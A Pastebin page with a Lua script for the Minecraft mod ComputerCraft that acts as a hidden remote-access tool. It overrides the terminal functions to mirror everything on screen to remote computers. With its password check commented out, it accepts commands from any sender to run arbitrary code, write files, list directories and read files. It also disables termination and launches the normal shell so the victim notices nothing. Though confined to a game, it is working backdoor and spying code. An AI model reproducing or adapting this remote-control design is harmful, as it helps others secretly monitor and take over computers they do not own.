Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -----------------[[ CREATED BY alakazard12 DO NOT MODIFY! ]]-----------------
- local pass = "admin"
- local sides = {"top", "bottom", "left", "right", "front", "back"}
- local program = "shell"
- servers = {}
- term.redirect(term.native())
- local oldw = term.write
- local oldc = term.clear
- local oldb = term.setCursorBlink
- local blinking = true
- local curcol = 1
- local curbcol = colors.black
- local oldst = term.setTextColor
- local oldbc = term.setBackgroundColor
- local olds = term.scroll
- local oldcl = term.clearLine
- local oldscp = term.setCursorPos
- local fp = false
- local elocked = false
- local oldpl = os.pullEvent
- local enabled = true
- specs = {
- x = 1;
- y = 1;
- curcol = 1;
- curbcol = colors.black;
- }
- past = {}
- function ports()
- for i,v in pairs(sides) do
- if peripheral.isPresent(v) and peripheral.getType(v) == "modem" then
- rednet.open(v)
- end
- end
- end
- function term.clear()
- send("clear", {})
- return oldc()
- end
- function term.clearLine()
- send("clearline", {})
- return oldcl()
- end
- function term.scroll(num)
- send("scroll", {num})
- return olds(num)
- end
- function term.setBackgroundColor(col)
- send("backcol", {col})
- return oldbc(col)
- end
- term.setBackgroundColour = term.setBackgroundColor
- function term.setTextColor(col)
- send("textcol", {col})
- return oldst(col)
- end
- term.setTextColour = term.setTextColor
- function term.setCursorPos(x, y)
- send("cursorpos", {x, y})
- return oldscp(x, y)
- end
- function term.write(txt)
- send("write", {txt})
- return oldw(txt)
- end
- function term.setCursorBlink(bool)
- send("blink", {bool})
- return oldb(bool)
- end
- function snd(id, bef, msg)
- rednet.send(id, bef..":"..textutils.serialize(msg))
- end
- function send(bef, msg)
- local thm = bef..":"..textutils.serialize(msg)
- table.insert(past, thm)
- for i, idz in pairs(servers) do
- rednet.send(idz, thm)
- end
- end
- function cle()
- term.clear()
- term.setCursorPos(1, 1)
- shell.run(program)
- end
- function ask(id, msg)
- --[[if string.sub(msg, 1, 7) == "REMOTE:" then
- local tbl = textutils.unserialize(string.sub(msg, 8))
- if tbl and tbl[1] == pass then
- local ist = false
- for i,v in pairs(servers) do
- if v == id then
- ist = true
- end
- end
- if ist == false then
- table.insert(servers, id)
- end
- enabled = true
- return tbl[2]
- end
- end
- ]]
- local ist = false
- for i,v in pairs(servers) do
- if v == id then
- ist = true
- end
- end
- if ist == false then
- table.insert(servers, id)
- end
- return true
- end
- function rec()
- repeat
- event, id, msg = os.pullEvent()
- until event == "rednet_message"
- return id, msg
- end
- function main()
- ports()
- while true do
- id, msg = rec()
- local req = ask(id, msg)
- if req then
- if string.sub(msg, 1, 3) == "new" then
- snd(id, "past", past)
- elseif string.sub(msg, 1, 6) == "event:" then
- local elo = textutils.unserialize(string.sub(msg, 7))
- os.queueEvent(elo[1], elo[2], elo[3], elo[4], elo[5])
- elseif string.sub(msg, 1, 5) == "hack:" then
- loadstring(textutils.unserialize(string.sub(msg, 6))[1])()
- elseif string.sub(msg, 1, 5) == "file:" then
- local fl = textutils.unserialize(string.sub(msg, 6))
- local fb = fs.open("/"..fl[1], "w")
- fb.write(fl[2])
- fb.close()
- elseif string.sub(msg, 1, 7) == "fslist:" then
- local tol = fs.list(textutils.unserialize(string.sub(msg, 8))[1])
- snd(id, "list", tol)
- elseif string.sub(msg, 1, 8) == "fsisdir:" then
- local tol = fs.isDir(textutils.unserialize(string.sub(msg, 9))[1])
- snd(id, "isdir", tol)
- elseif string.sub(msg, 1, 7) == "fsopen:" then
- local tbl = textutils.unserialize(string.sub(msg, 8))
- local fb = fs.open(tbl[1], "r")
- local tol = fb.readAll()
- fb.close()
- snd(id, "open", tol)
- end
- end
- end
- end
- h = fs.open(shell.getRunningProgram(), "a")
- os.pullEvent = os.pullEventRaw
- parallel.waitForAny(cle, main)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement